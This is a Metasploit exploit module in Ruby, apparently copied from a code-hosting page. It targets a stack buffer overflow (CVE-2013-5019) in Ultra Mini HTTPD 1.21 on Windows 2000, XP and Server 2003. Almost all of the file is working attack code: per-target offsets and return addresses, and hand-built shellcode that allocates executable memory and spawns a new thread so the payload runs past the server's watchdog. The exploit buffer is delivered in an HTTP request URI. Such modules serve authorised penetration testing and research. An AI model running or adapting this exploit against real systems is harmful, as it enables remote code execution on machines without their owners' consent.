172 lines
6.3 KiB
Ruby
172 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
ADDR_VIRTUALALLOC = 0x0041A140
|
|
ADDR_CREATETHREAD = 0x0041A240
|
|
ADDR_TERMINATETHREAD = 0x0041A23C
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
|
|
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
|
|
request. This exploit has to deal with the fact that the application's request handler
|
|
thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
|
|
some RWX memory, copies the payload to it and creates another thread. When done, it
|
|
terminates the current thread so that it doesn't crash and hence doesn't bring down
|
|
the process with it.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'superkojiman', # Discovery, PoC
|
|
'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
|
|
'OJ Reeves <oj[at]buffered.io>' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '95164'],
|
|
['EDB','26739'],
|
|
['CVE','2013-5019'],
|
|
['BID','61130']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "thread"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'v1.21 - Windows Server 2000',
|
|
{
|
|
'Offset' => 5412,
|
|
'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
|
|
}
|
|
],
|
|
[
|
|
'v1.21 - Windows XP SP0',
|
|
{
|
|
'Offset' => 5412,
|
|
'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
|
|
}
|
|
],
|
|
[
|
|
'v1.21 - Windows XP SP2/SP3',
|
|
{
|
|
'Offset' => 5412,
|
|
'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
|
|
}
|
|
],
|
|
[
|
|
'v1.21 - Windows Server 2003 (Enterprise)',
|
|
{
|
|
'Offset' => 5412,
|
|
'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 10 2013',
|
|
'DefaultTarget' => 0
|
|
))
|
|
end
|
|
|
|
def mov_eax(addr)
|
|
"\xB8" + [addr].pack("V*")
|
|
end
|
|
|
|
def call_addr_eax(addr)
|
|
mov_eax(addr) + "\xff\x10"
|
|
end
|
|
|
|
def exploit
|
|
new_thread = ""
|
|
|
|
# we use 0 a lot, so set EBX to zero so we always have it handy
|
|
new_thread << "\x31\xdb" # xor ebx,ebx
|
|
|
|
# store esp in esi, and offset it to point at the rest of the payload
|
|
# as this will be used as the source for copying to the area of memory
|
|
# which will be executed in a separate thread. We fill in the offset
|
|
# at the end as we can calculate it instead of hard-code it
|
|
new_thread << "\x89\xe6" # mov esi,esp
|
|
new_thread << "\x83\xc6\x00" # add esp,<TODO>
|
|
esi_count_offset = new_thread.length - 1
|
|
|
|
# Create a new area of memory with RWX permissions that we can copy
|
|
# the payload to and execute in another thread. This is required
|
|
# because the current thread is killed off after 60 seconds and it
|
|
# takes our payload's execution with it.
|
|
new_thread << "\x6a\x40" # push 0x40
|
|
new_thread << "\x68\x00\x30\x00\x00" # push 0x3000
|
|
new_thread << "\x68\x00\x10\x00\x00" # push 0x1000
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << call_addr_eax(ADDR_VIRTUALALLOC) # call VirtualAlloc
|
|
|
|
# copy the rest of the payload over to the newly allocated area of
|
|
# memory which is executable.
|
|
payload_size = [payload.encoded.length].pack("V*")
|
|
new_thread << "\xb9" + payload_size # mov ecx,payload_size
|
|
new_thread << "\x89\xc7" # mov edi,eax
|
|
new_thread << "\xf2\xa4" # rep movsb
|
|
|
|
# kick of the payload in a new thread
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << "\x50" # push eax (payload dress)
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << "\x53" # push ebx (0)
|
|
new_thread << call_addr_eax(ADDR_CREATETHREAD) # call CreateThread
|
|
|
|
# Terminate the current thread so that we don't crash and hence bring
|
|
# the entire application down with us.
|
|
new_thread << "\x53" # push ebx (0)
|
|
# set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
|
|
new_thread << "\x4b" # dec ebx
|
|
new_thread << "\x4b" # dec ebx
|
|
new_thread << "\x53" # push ebx (0xFFFFFFFE)
|
|
new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread
|
|
|
|
# patch the offset of esi back into the payload
|
|
nops = 32
|
|
decode_stub_size = 23
|
|
calculated_offset = new_thread.length + nops + decode_stub_size
|
|
new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")
|
|
|
|
# start constructing our final payload
|
|
buf = rand_text_alpha_upper(target['Offset'])
|
|
buf << [target.ret].pack("V*")
|
|
|
|
# ESP points right to the top of our shellcode so we just add a few nops
|
|
# to the start to avoid having the first few bytes nailed by the decoder.
|
|
buf << make_nops(nops)
|
|
|
|
# we re-encode, including the thread creation stuff and the chosen payload
|
|
# as we don't currently have the ability to "prepend raw" stuff to the front
|
|
# of the buffer prior to encoding.
|
|
buf << encode_shellcode_stub(new_thread)
|
|
buf << payload.encoded
|
|
|
|
print_status("Sending buffer...")
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => "/#{buf}"
|
|
})
|
|
end
|
|
end
|
|
|